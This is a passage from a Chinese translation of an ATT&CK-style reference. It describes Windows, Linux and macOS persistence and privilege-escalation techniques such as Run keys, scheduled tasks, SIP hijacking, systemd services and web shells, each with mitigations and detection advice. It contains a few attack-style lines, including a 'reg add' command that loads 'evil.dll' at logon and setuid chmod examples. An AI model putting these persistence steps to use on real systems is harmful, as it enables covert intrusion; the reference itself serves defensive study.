贡献者：Oddvar Moe，@oddvarmoe

版本：1.0

向注册表或启动文件夹中的“运行键”添加条目会导致在用户登录时执行引用的程序。这些程序将在用户的上下文中执行，并具有账号的相关权限级别。

默认情况下，在 Windows 系统上创建以下运行键：

`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_U`

SER\Software\Microsoft\Windows\CurrentVersion\RunOnce*HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run*HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

也可用 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx，但默认情况下不会在 Windows Vista 及更高版本上创建。注册表运行键条目可以直接引用程序或将它们列为依赖项。例如，可以使用 RunOnceEx 的“Depend”键在登录时加载动态链接库：`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`

以下注册表项可用于设置启动文件夹项来获得持久性：

*HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders*HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders*HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders*HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

攻击者可能会使用这些配置位置来执行恶意软件，例如远程访问工具，通过系统重启来维持持久性。攻击者还可能会使用伪装技术，使注册表项看起来好像与合法程序相关。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

监控注册表中与已知软件、补丁周期等不相关运行键的更改。监控启动文件夹的添加或更改。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出运行建的注册表位置以及启动文件夹。可疑程序作为启动程序执行的话，会显示为异常进程。因为与历史数据进行比较时，这些进程从未出现过。

当安装了合法软件时，这些位置的更改通常视为正常情况。为了增加恶意活动的可信度，不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

## 3.44 定时任务

| |
|---|
| 编号：T1053 |
| 技术：执行，持久化，权限升级 |
| 平台：Windows |
| 所需权限：管理员，系统，用户 |

| |
|---|
| 有效权限：系统，管理员，用户<br>数据源：文件监控，进程监控，进程命令行参数，Windows 事件日志<br>是否支持远程：是<br>CAPEC 编号：CAPEC-557<br>贡献者：Leo Loobeek，@leoloobeek；Travis Smith，Tripwire；Alain Homewood，Insomnia Security<br>版本：1.0 |

诸如 at 和 schtasks 之类的实用程序可与 Windows Task Scheduler 一起使用来调度程序或脚本在某日期和时间执行。只要身份认证通过可以使用 RPC，并且打开了文件和打印机共享功能，就可以在远程系统上调度任务。在远程系统上调度任务通常需要远程系统管理员群组的成员执行。

攻击者可能会通过任务调度在系统启动时或在计划的基础上执行程序以实现持久性，作为横向移动的一部分进行远程执行，获得系统权限，或者在指定账号的上下文下运行进程。

## 缓解

| **缓解措施** | **说明** |
|---|---|
| 审核 | 像 PowerSploit 框架这样的工具包包含 PowerUp 模块，这些模块可用来探索系统中可用于提升权限的计划任务的权限弱点。 |
| 操作系统配置 | 配置计划任务的设置来强制任务在已通过身份认证账号的上下文中运行，而不是允许它们使用系统权限运行。关联的注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl`。可通过 GPO 来配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 安全选项：域控制器：允许服务器操作员调度任务。将“允许服务器操作员调度任务”设置为禁用。 |
| 特权账号管理 | 将“增加调度优先级”配置为仅允许管理员群组拥有调度优先级进程的权限。可通过 GPO 配置设置，路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：增加调度优先级。 |
| 用户账号管理 | 限制用户账号权限并调整权限升级向量，以便只有授权的管理员才能在远程系统上创建计划任务。 |

## 检测

通过命令行调用来监控常用实用程序的计划任务创建。可以在安装新软件期间或通过系统管理功能创建合法的计划任务。监控 Windows 10 中 `svchost.exe` 和旧版 Windows 中 Windows 任务计划程序 `taskeng.exe` 的进程执行情况。如果计划任务不用于持久性，则攻击者很可能在操作完成时删除该任务。监控 `%systemroot%\System32\Tasks` 中的 Windows 任

务计划程序仓库来查看是否有与已知软件、补丁周期等不相关的计划任务的更改条目。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

通过在事件日志服务中启用“Microsoft-Windows-TaskScheduler / Operational”设置的方式来为计划任务的创建和更改配置事件日志功能。然后会在计划任务活动中记录如下事件：

- 事件 106 - 计划任务已注册
- 事件 140 - 计划任务已更新
- 事件 141 - 计划任务已删除

也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的计划任务。查找与已知软件、补丁周期等不相关的任务更改。当与历史数据进行比较时，通过计划任务执行的可疑程序可能会显示为以前从未见过的异常进程。

监控可用于创建任务的进程和命令行参数。带内置功能的远程访问工具可以直接与 Windows API 交互，在典型的系统实用程序之外执行这些功能。Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）也可用来创建任务，因此可能还需要配置日志功能来收集适当的数据。

# 3.45 屏幕保护

编号：T1180

技术：持久化

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数，Windows 注册表，文件监控

贡献者：Bartosz Jerzman

版本：1.1

屏幕保护程序在用户不活动一定时间之后执行，此段时长可配置。屏幕保护程序文件是 PE（可移植可执行）文件，扩展名为.scr。Windows 屏幕保护程序 scrnsave.scr 与其它基础安装中的屏幕保护程序一起放置在 32 位操作系统中的 `C:\Windows\System32\`，或 64 位操作系统中的 `C:\Windows\sysWOW64\` 。

以下屏幕保护程序设置存储在注册表（`HKCU\Control Panel\Desktop\`）中。攻击者可能会操控它们来实现持久性：

- `SCRNSAVE.exe` - 设置为恶意 PE 路径
- `ScreenSaveActive` - 设置为“1”，启用屏幕保护程序
- `ScreenSaverIsSecure` - 设置为“0”，不需要密码即可解锁
- `ScreenSaverTimeout` – 设置用户的不活动时长，超过这个时长即启动屏幕保护程序

攻击者可能会设置屏幕保护程序在用户不活动一定时间后运行恶意软件来维持持久性。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 如果不需要屏幕保护程序，请使用组策略来禁用它。 |
| 执行预防 | 阻止.scr 文件从非标准位置执行。 |

检测

监控.scr 文件的进程执行和命令行参数。监控注册表中与典型用户行为无关的屏幕保护程序配置更改。

也可使用 Sysinternals Autoruns 等工具来检测注册表中屏幕保护程序二进制路径的更改。可疑路径和 PE 文件可能指示网络中合法屏保存在异常情况，应进行调查。

# 3.46 安全支持提供者

编号：T1101

技术：持久化

平台：Windows

所需权限：管理员

数据源：动态链接库监控，Windows 注册表，已加载动态链接库

版本：1.0

Windows SSP（Windows 安全支持提供程序）动态链接库在系统启动时加载到 LSA（本地安全机构）进程中。一旦加载到 LSA 中，SSP 动态链接库可以访问存储在 Windows 中的加密和明文密码，例如任何登录用户的域密码或智能卡 PIN 码。SSP 配置存储在两个注册表项中：`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` 和 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`。攻击者可能会修改这些注册表项来添加新的 SSP。这些 SSP 将在下次系统启动时加载，或者在调用 AddSecurityPackage Windows API 函数时加载。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权进程完整性 | Windows 8.1，Windows Server 2012 R2 和更高版本中，可以通过设置注册表项 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL` 使 LSA 作为 PPL（Protected Process Light）运行，这需要微软对所有 SSP 动态链接库进行签名。 |

### 检测

监控注册表来查看 SSP 注册表项是否有更改。监控 LSA 进程来查看是否有动态链接库加载的情况。Windows 8.1 和 Windows Server 2012 R2 中，在注册表项 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe` 中设置 AuditLevel = 8 来加载未签名的 SSP 动态链接库到 LSA 时会生成事件。

## 3.47 服务注册权限缺陷

| |
|---|
| 编号： T1058 |
| 技术： 持久化，权限升级 |
| 平台： Windows |
| 系统要求: 能够修改注册表中的服务值 |
| 所需权限： 管理员，系统 |
| 有效权限: 系统 |
| 数据源：进程命令行参数，服务，Windows 注册表 |
| CAPEC 编号: CAPEC-203 |
| 贡献者: Matthew Demaske, Adaptforward; Travis Smith, Tripwire |
| 版本： 1.0 |

在 `HKLM\SYSTEM\CurrentControlSet\Services` 下，Windows 在注册表中存储本地服务配置信息。存储在服务的注册表项下的信息可以通过服务控制器、sc.exe、PowerShell 或 Reg 等工具进行修改服务的执行参数。通过访问控制列表和权限，控制对注册表项的访问。

如果未正确设置用户和组的权限，并允许访问服务的注册表项密钥，则攻击者可以更改服务 binPath/ImagePath 以指向其控制下的不同可执行文件。当服务启动或重新启动时，将执行攻击者控制的程序，允许攻击者获得持久性和/或权限升级到服务设置为以下服务下：本地/域帐户、SYSTEM、系统、、本地服务或网络服务。

对手还可能更改与服务失败参数（如 `FailureCommand`）关联的注册表项，这些注册表项在服务失败或故意损坏时可能在提升上下文中执行。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 限制注册表权限 | 确保为注册表配置单元设置了适当的权限，以防止用户修改可能导致权 |

| | |
|---|---|
| | 限升级的系统组件的密钥。 |

### 检测

服务更改反映在注册表中。对现有服务的修改不应频繁发生。如果服务二进制路径或故障参数更改为非该服务的典型值，并且与软件更新无关，则可能是由于恶意活动。不应孤立地查看数据和事件，而应将其视为可能导致其他活动的行为链的一部分，例如为命令与控制而建立的连接、通过发现了解环境的详细信息以及横向移动。

系统内部自动运行等工具还可用于检测可能尝试持久性的系统更改，包括列出当前服务信息。查找与已知软件、修补程序周期等不相关的服务更改。通过与历史数据进行比较，服务执行可疑的程序可能会显示为以前从未见过的异常进程。

监控用于修改服务的操作的进程和命令行参数。具有内置功能的远程访问工具可以直接与 Windows API 交互，以在典型的系统实用程序之外执行这些功能。服务也可能通过 Windows 系统管理工具（如 Windows 管理工具和 PowerShell）进行更改，因此可能需要配置其他日志记录以收集适当的数据。

## 3.48 Setuid 和 Setgid

编号： T1166

技术： 权限升级，持久化

平台： Linux, macOS

所需权限： 用户

有效权限: 管理员, root 用户

数据源：文件监控，进程监控，进程命令行参数

版本： 1.0

当在 Linux 或 macOS 上为应用程序设置 setuid 或 setgid 位时，这意味着应用程序将分别使用具备用户或组的权限运行。通常，应用程序在当前用户的上下文中运行，而不管哪个用户或组拥有该应用程序。在某些情况下，程序需要在提升的上下文中执行才能正常运行，但运行程序的用户不需要提升的权限。任何用户都可以指定要为自己的应用程序设置 setuid 或 setgid 标志，而不是在 sudoers 文件中创建必须由 root 完成的条目。通过 **ls-l** 命令查看文件的属性时，这些位用"s"而不是"x"表示。 `chmod` 程序可以通过位蒙，chmod `4777 [文件]`或通过速记命名，`chmod u+s [file]`设置这些位。

攻击者可以利用此机会执行 shell 转义，或者利用应用程序中具有 setsuid 或 setgid 位的漏洞，使代码在其他用户的上下文中运行。此外，攻击者可以在自己的恶意软件上使用此机制，以确保他们能够在将来在提升的上下文中执行。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 操作系统配置 | 具有已知漏洞或已知 shell 转义的应用程序不应设置 setuid 或 setgid 位，以减少应用程序受到威胁时的潜在损坏。此外，应在整个系统中尽量减少设置 setuid 或 setgid 位的程序数。 |

检测

监控文件系统中设置 setuid 或 setgid 位的文件。监控实用程序（如 chmod）的执行及其命令行参数，以查找正在设置的 setuid 或 setguid 位.

# 3.49 快捷方式修改

编号： T1023

技术： 持久化

平台： Windows

所需权限： 用户，管理员

数据源：文件监控，进程监控，进程命令行参数

贡献者: Travis Smith, Tripwire

版本： 1.0

快捷方式或符号链接是引用系统启动过程中单击或执行快捷方式时，打开或执行的其他文件或程序的方法。攻击者可以使用快捷方式持续执行其工具。他们可能会创建一个新的快捷方式作为间接手段，可以使用伪装看起来像一个合法的程序。对手还可以编辑目标路径或完全替换现有快捷方式，以便执行其工具，而不是预期的合法程序。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 限制可以在 Windows 中创建符号链接的权限至适当的组，如管理员和虚拟化的必要组。这可以通过 GPO 完成： “计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：创建符号链接” 。 |

检测

由于快捷方式的目标路径可能不会更改，因此对已知软件更改、修补程序、删除等不相关的快捷方式文件的修改可能会可疑。分析应尝试根据已知的攻击者行为（如创建网络连接的未知可执行文件的进程启动），将快捷方式文件的更改或创建事件与其他潜在可疑事件相关联。

# 3.50 SIP 和信任提供商劫持

| |
|---|
| 编号： T1198 |
| 技术： 防御逃逸，持久化 |
| 平台： Windows |
| 所需权限： 管理员，系统 |
| 数据源： API 监控，应用日志，动态链接库监控，加载的动态链接库，进程监控，Windows 注册表，Windows 事件日志 |
| 绕过的防御： 应用白名单、Autoruns 分析、数字证书验证、进程白名单，用户模式签名验证 |
| 贡献者: Matt Graeber, @mattifestation, SpecterOps |
| 版本： 1.0 |

在用户模式下，Windows 身份验证器数字签名用于验证文件的来源和完整性，这些变量可用于在签名代码中建立信任（例如：具有有效 Microsoft 签名的驱动程序可以作为安全处理）。签名验证过程通过 WinVerifyTrust 应用程序编程接口 （API） 函数进行处理，该函数接受查询，并与负责验证的相应信任提供程序进行协调签名的参数。

由于可执行文件类型和相应的签名格式各不相同，Microsoft 创建了名为主题接口包（SIP）的软件组件，以在 API 函数和文件之间提供抽象层。SP 负责使 API 函数能够创建、检索、计算和验证签名。对于大多数文件格式（可执行、PowerShell、安装程序等）存在唯一的 SIP，目录签名提供了全部功能，并由全局唯一标识符 （GUID） 标识。

与代码签名类似，攻击者可能会滥用此体系结构来破坏信任控制，并绕过仅允许合法签名的代码在系统上执行的安全策略。攻击者可能会劫持 SIP 和信任提供程序组件，误导操作系统和白名单工具，将恶意（或任何）代码根据以下标准分类为：

- 在`HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{{SIP_GUID}}`下修改`Dll`和`FuncName`注册表值，指向动态链接提供 SIP 的 CryptSIPDllGet 数据数据 Msg 函数的库 （DLL），该函数从签名文件中检索编码的数字证书。通过指向具有导出函数的恶意制作的 DLL，该函数始终返回已知良好的签名值 (例如：用于可移植可执行文件的 Microsoft 签名)，而不是文件的

实际签名，攻击者可以使用该 SIP 的文件应用可接受的签名值（尽管可能会发生哈希不匹配，但签名无效，因为函数返回的哈希值与从文件中计算的值不匹配）。

- 在 `HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{{SIP_GUID}}`修改`Dll`和`FuncName`注册表值，指向 DLL 提供 SIP 的 CryptSIPDll 验证间接数据函数，该函数根据签名哈希值验证文件的计算哈希值。通过指向具有始终返回 TRUE 的导出函数的恶意制作的 DLL（指示验证成功），攻击者可以使用该 SIP 成功验证任何文件（具有合法签名）。（无论是否劫持前面提到的 CryptSIPDllGet 数据 Msg 函数）。此注册表值还可以从已存在的 DLL 重定向到适当的导出函数，从而避免在磁盘上删除和执行新文件的要求。
- 在 `HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{{trust provider GUID}}`修改 `DLL` 和 `Function` 注册表值，指向提供信任的 DLL 提供程序的 FinalPolicy 函数，即检查解码和解析的签名，并做出大多数信任决策的位置。与劫持 SIP 的 CryptSIPDll 验证间接数据函数类似，此值可以从已经存在的 DLL 或恶意制作的 DLL 重定向到适当的导出函数（尽管信任提供程序的实现很复杂）。
- 注意：上述劫持也可通过 DLL 搜索顺序劫持修改注册表。

劫持 SIP 或信任提供程序组件还可以启用持久代码执行，因为执行代码签名或签名验证的任何应用程序都可以调用这些恶意组件。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 启用白名单解决方案，如 AppLocker 和/或设备防护，以阻止恶意 SIP DLL 的加载。 |
| 限制文件和目录权限 | 将 SIP DLL 的存储和执行限制为受保护的目录，如 C：\Windows，而不是用户目录。 |
| 限制注册表权限 | 确保为注册表配置单元设置了适当的权限，以防止用户修改与 SIP 和信任提供程序组件相关的密钥。如果不阻止对注册表项的恶意修改，组件仍可能被劫持到磁盘上已有的适当功能。 |

## 检测

定期对注册的 SIP 和信任提供程序（注册表项和磁盘上的文件）进行基线，特别是查找新的、修改的或非 Microsoft 条目。

启用 CryptoAPI v2 （CAPI） 事件日志记录，以监控和分析与失败的信任验证相关的错误事件（事件 ID 81，尽管此事件可能由被劫持的信任提供程序组件破坏），以及任何其他提供的信息事件（例如：成功验证）。代码完整性事件日志记录还可能提供恶意 SIP 或信任提供程序加载的有价值的指示器，因为尝试加载恶意制作的信任验证组件的受保护进程可能会失败（事件 ID 3033）。

利用 Sysmon 检测规则，和/或启用高级安全审核策略中的注册表（全局对象访问审核设置），

以应用全局系统访问控制列表 （SACL），和对与 SIPs 相关的注册表值（sub）修改的事件审核，以及信任提供程序相关的密钥：

- HKLM\SOFTWARE\Microsoft\Cryptography\OID
- HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID
- HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust
- HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust

**注意：**作为此技术的一部分，攻击者可能会尝试手动编辑这些注册表项（例如：Regedit）或使用 Regsvr32 的合法注册过程。

分析自动运行数据是否具有奇数和异常，特别是通过隐藏在自动启动位置来尝试持久执行的恶意文件。默认情况下，自动运行将隐藏由 Microsoft 或 Windows 签名的条目，因此请确保取消选中"隐藏微软条目"和"隐藏 Windows 条目"。

# 3.51 启动项

编号： T1165

技术： 持久化，权限升级

平台： macOS

所需权限： 管理员

有效权限: root 用户

数据源：文件监控，进程监控

版本： 1.0

根据 Apple 的文档，启动项目在启动过程的最后阶段执行，并包含 shell 脚本或其他可执行文件，以及系统用于确定所有启动项目的执行顺序的配置信息。从技术上讲，这是一个弃用的版本（被启动守护程序取代），因此相应的文件夹，`/Library/StartupItems` 在默认情况下不能保证存在于系统上，但默认情况下在 macOS Sierra 上确实存在。启动项是一个目录，其可执行和配置属性列表 （plist， `StartupParameters.plist`，驻留在顶级目录中。

攻击者可以在"启动项"目录中创建相应的文件夹/文件，以注册其自己的持久性机制。此外，由于启动项在 macOS 的启动阶段运行，它们将作为根运行。如果攻击者能够修改现有的启动项目，那么他们也将能够权限升级。

缓解

| 缓解方法 | 说明 |
| --- | --- |
| 限制文件和目录权限 | 由于启动项已弃用，因此阻止所有用户写入`/Library/StartupItems`目录将阻止任何启动项注册。 |
| 用户账户管理 | 应用适当的权限，以便只有特定用户才能编辑启动项目，以便可以利用这些项目进行权限提升。 |

检测

可以监控`/Library/StartupItems`文件夹的更改。同样，应对照白名单检查实际使用此机制执行的程序。监控启动过程中执行的进程，以检查异常或未知的应用程序和行为。

# 3.52 系统固件

编号： T1019

技术： 持久化

平台： Windows

所需权限： 管理员，系统

数据源： API 监控, BIOS, EFI

CAPEC 编号: CAPEC-532

贡献者: Ryan Becwar; McAfee

版本： 1.0

BIOS（基本输入/输出系统）和统一可扩展固件接口 （UEFI） 或可扩展固件接口 （EFI） 是作为操作系统和计算机硬件之间的软件接口运行的系统固件示例。

系统固件（如 BIOS 和 （U）EFI）是计算机功能的不足，可能被攻击者修改以执行或协助恶意活动。存在覆盖系统固件的功能，这可能为复杂的对手提供安装恶意固件更新的方法，作为在系统上难以检测的持久性手段。

缓解

| 缓解方法 | 说明 |
| --- | --- |
| 启动完整性 | 检查现有 BIOS 或 EFI 的完整性，以确定它是否容易受到修改。使用受信任的平台模块技术。 |

| | |
|---|---|
| 特权账户管理 | 阻止攻击者访问特权帐户或执行此技术所需的访问权限。 |
| 更新软件 | 根据需要修补 BIOS 和 EFI。 |

### 检测

可能检测到系统固件操作。在易受攻击的系统上转储和检查 BIOS 映像，并比较已知良好的图像。[分析差异以确定是否发生了恶意更改。日志尝试读取/写入 BIOS 并比较已知的修补行为。

同样，EFI 模块可以收集，并将其与 EFI 可执行二进制文件的已知干净列表进行比较，以检测潜在的恶意模块。CHIPSEC 框架可用于分析以确定是否执行了固件修改。

## 3.53 Systemd 服务

编号： T1501

技术： 持久化

平台： Linux

所需权限： root 用户，用户

数据源：进程命令行参数，进程监控，文件监控

贡献者: Tony Lambert, Red Canary

版本： 1.0

系统服务可用于在 Linux 系统上建立持久性。系统化服务管理器通常用于管理后台守护进程（也称为服务）和其他系统资源。 Systemd 是许多 Linux 发行版上的默认初始化（init）系统，从 Debian 8、Ubuntu 15.04、CentOS 7、RHEL 7、Fedora 15 开始，并替换了旧式初始化系统，包括 SysVinit 和 Upstart，同时保持向后兼容上述 init 系统。

Systemd 利用称为服务单元的配置文件来控制服务在什么条件下如何启动。默认情况下，这些单元文件存储在`/etc/systemd/system`和`/usr/lib/systemd/system`目录中，并且具有文件扩展名`.service`。每个服务单元文件可能包含许多指令，这些指令可以执行系统命令。

- ExecStart, ExecStartPre,和 ExecStartPost 指令涵盖当服务，通过"systemctl"手动启动时的命令执行，或者如果服务设置为自动启动，则在系统启动时执行命令。
- ExecReload 指令涵盖服务何时重新启动。
- ExecStop 和 ExecStopPost 涵盖服务通过"系统 ctl"停止或手动停止时。

攻击者使用系统化功能，通过创建、和/或修改服务单元文件来建立对受害者系统的持久访问，这些文件会导致系统定期执行恶意命令，例如系统启动时。

虽然对手通常需要根权限才能在`/etc/systemd/system`和`/usr/lib/systemd/system`目录中创建/修改服务单元文件，但低权限用户可以在目录，如`~/.config/systemd/user/`以实现用户级持久性。

缓解

| 缓解方法 | 说明 |
| --- | --- |
| 限制软件安装 | 仅将软件安装限制为受信任的存储库，并小心孤立的软件包. |
| 特权账户管理 | 系统化服务单元文件的创建和修改的权限通常保留给管理员，如 Linux root 用户和其他具有超级用户权限的用户。 |
| 限制文件和目录权限 | 限制对系统单元文件的读/写访问，仅选择具有管理系统服务的合法需求的特权用户。 |
| 用户帐户管理 | 将用户对系统实用程序 (如"systemctl") 的访问权限限制为只有具有合法需求的用户。 |

检测

系统服务单元文件可以在`/etc/systemd/system`，`/usr/lib/systemd/system/`和`/home//.config/systemd/user/`目录内，通过审核文件创建和修改事件检测，以及相关的符号链接。以这种方式生成的可疑进程或脚本将具有"systemd"的父进程，父进程 ID 为 1，并且通常将作为"root"用户执行。

通过将结果与受信任的系统基线进行比较，还可以识别可疑的系统服务。通过使用 systemctl 实用程序检查系统范围的服务，可以检测到恶意的系统化服务：`systemctl list-units --type=service -all`。分析文件系统上存在的`.service`文件的内容，并确保它们引用合法的、预期的可执行文件。

审核"systemctl"实用程序的执行和命令行参数，以及相关实用程序（如`/usr/sbin/service`）可能会显示恶意的系统服务执行。

# 3.54 时间服务器

编号：T1209

技术：持久化

平台：Windows

所需权限：管理员，系统

数据源：API 监控，二进制文件元数据，动态链接库监控，文件监控，已加载动态链接库，进程监控

| |
|---|
| 贡献者：Scott Lundgren，@5twenty9，Carbon Black |
| 版本：1.0 |

W32Time（Windows 时间服务）支持域间和域内的时间同步。 W32Time 时间提供程序负责从硬件/网络资源中检索时间戳并将这些值输出到其他网络客户端。

时间提供程序实现为`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`的子项中注册的动态链接库。

在服务控制管理器的指导下，时间提供程序管理器在系统启动时和/或在参数更改时加载并启动此项下列出并启用的时间提供程序。

攻击者可能会滥用此架构来建立持久性，特别是通过注册和启用恶意动态库来作为时间提供程序。时间提供程序需要管理员权限才能注册，但注册后可以本地服务账号权限运行。

缓解

| **缓解措施** | **说明** |
|---|---|
| 文件和目录权限限制 | 考虑使用组策略来配置和阻止对 W32Time 动态链接库的添加/修改。 |
| 注册表权限限制 | 请考虑使用组策略来配置和阻止对注册表中 W32Time 参数的修改。 |

检测

建立基线值并监控/分析注册表中 W32Time 信息修改相关的活动，包括调用 API（如 RegCreateKeyEx 和 RegSetValueEx）以及执行 W32TM.exe 实用程序。自定义时间提供程序注册的数量没有限制，尽管每个都可能需要将动态链接库有效负载写入磁盘。

还可以使用 Sysinternals Autoruns 工具来分析自动启动位置，包括列为时间提供程序的动态链接库。

# 3.55 Trap 命令

| |
|---|
| 编号: T1154 |
| 技术：执行，持久化 |
| 平台： Linux, macOS |
| 所需权限： 用户，管理员 |
| 数据源： 文件监控，进程监控，进程命令行参数 |
| 远程支持：No |
| 版本： 1.0 |

`trap` 命令允许程序和 shell 脚本指定在接收到中断信号时将执行的命令。一种常见的情况是脚本允许正常终止和处理常见的键盘中断，如 `ctrl+c` 和 `ctrl+d`。攻击者可以使用它来注册当 shell 遇到特定中断以执行或作为持久性机制时要执行的代码。trap 命令的格式如下：`trap 'command list' signals`，在接收到“signals”时执行“command list”。

### 缓解

这种类型的攻击技术无法简单地通过预防性控制缓解，因为它基于系统特性的滥用。

### 检测

trap 命令必须注册成为 shell 脚本或者程序，所以他们都出现在文件中。监听可疑的或过于宽泛的 trap 命令文件可以缩小调查期间的可疑行为。监听在 trap 中继中执行的可疑进程。

## 3.56 有效账号

编号：T1078

技术：防御逃逸，持久化，权限升级，初始访问

平台：Linux，macOS，Windows

所需权限：用户，管理员

有效权限：用户，管理员

数据源：认证日志，进程监控

绕过的防御：防火墙，主机入侵防御系统，网络入侵检测系统，进程白名单，系统访问控制，防病毒

CAPEC 编号：CAPEC-560

贡献者：Mark Wee，Praetorian

版本：1.1

攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据，或者在侦察过程的早期通过社会工程捕获凭据以获得首次访问权限。

攻击者可以使用三种账号：默认账号、本地账号和域账号。默认账号是操作系统的内置账号，例如 Windows 系统上的访客或管理员账号，或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号，或单个系统/服务的管理账号。域账号是 AD-DS（活动目录域服务）管理的账号，其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。

攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制，甚至可用于对远程系统和外部可用服务（如 VPN、Outlook Web Access 和远程桌面）的持久访问。攻击者还可能

通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限。攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用，这样就更难检测到它们的存在。

默认账号并不限于客户端机器上的访客和管理员，它们还包括为设备（如网络设备和计算机应用）预设的账号，无论这些设备是内部的、开源的还是 COTS。如果设备预设了用户名和密码组合而且安装后不更改，将会对组织构成严重威胁，因为它们很容易成为攻击者的目标。同理，攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境。

我们需要关注跨系统网络的账号访问、凭据和权限的重叠，因为攻击者也许能够跨账号和系统切换以获得较高的访问级别（域或企业管理员），从而绕过企业内设置的访问控制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 应用及设备的默认用户名和密码应在安装后和部署到生产环境之前立即更改。如果可能，应该定期更新使用 SSH 密钥的应用，并对其进行适当的保护。确保本地管理员账号在网络上所有系统中有复杂且唯一的密码。 |
| 特权账号管理 | 定期审核域账号和本地账号及他们的权限级别，查看是否有允许攻击者通过获取特权账号凭据从而获得广泛访问权限的情况。这些审核还应包括是否启用了默认账号，或者是否创建了新的未经授权的本地账号。不要将用户或管理域账号放在不同系统的本地管理员组中，除非它们受到严格控制并且是分开使用的，因为这通常相当于这些系统上都有一个相同密码的本地管理员账号。遵循企业网络设计和管理最佳实践，限制跨管理层使用特权账号。限制跨系统的凭据重叠以防止攻击者获取账号凭据用来访问。 |

检测

在整个企业中为外部可访问的服务配置可靠、一致的账号活动审核策略。查看是否有跨系统的可疑的共享账号（用户、管理员或服务账号）行为。例如：一个账号同时登录到多个系统；多个账号同时登录到同一台机器；在反常时间或工作时间以外登录的账号。账号活动可能来自交互式登录会话，也可能来自在远程系统上执行二进制文件的特定帐户的进程。将其他安全系统与登录信息关联（例如，用户有活动的登录会话，但尚未进入建筑物或没有访问 VPN）。

定期审核域账号和本地系统账号来查看是否有攻击者为持久性所创建的账号。账号审核还可以包括检查是否激活了默认账号（如访客）。审核还应包括检查所有设备和应用的默认凭据或 SSH 密钥。一旦发现，应立即更新。

# 3.57 Web 命令执行环境

| 编号：T1100 |
| --- |

| |
|---|
| 技术：持久化，权限升级 |
| 平台：Linux，Windows，macOS |
| 系统要求：攻击者通过漏洞或账号访问 web 服务器，上传和提供 web shell 文件 |
| 有效权限：系统，用户 |
| 数据源：防病毒，认证日志，文件监控，Netflow/Enclave 技术网络流分析，进程监控 |
| 版本：1.0 |

Web shell 是 web 脚本，放置在可公开访问的 web 服务器上。攻击者可能会将 web 服务器用作网关。Web shell 可以在承载 web 服务器的系统上提供一组待执行的函数或命令行界面。除了服务器端脚本之外，web shell 可能还有一个客户端接口程序，用于与 web 服务器通信（例如，参见 China Chopper Web shell 客户端）。

如果攻击者的主要访问方式被发现并移除，攻击者可能会使用 web shell 作为冗余访问或持久性机制。

缓解

| 缓解措施 | 说明 |
|---|---|
| 特权账号管理 | 审核账号和组权限，确保用于管理服务器的账号与内部网络中具有以下特征的用户账号和权限不重叠：账号和权限可以通过凭据访问获取，用于登录到 web 服务器并构建 web shell 或者从 web 服务器进入内部网络。 |
| 软件升级 | 确保定期对面向外部的 web 服务器打补丁，防止攻击者利用权限升级获取远程代码访问权限或利用文件包含缺陷上传文件或脚本用作 web 网页。 |

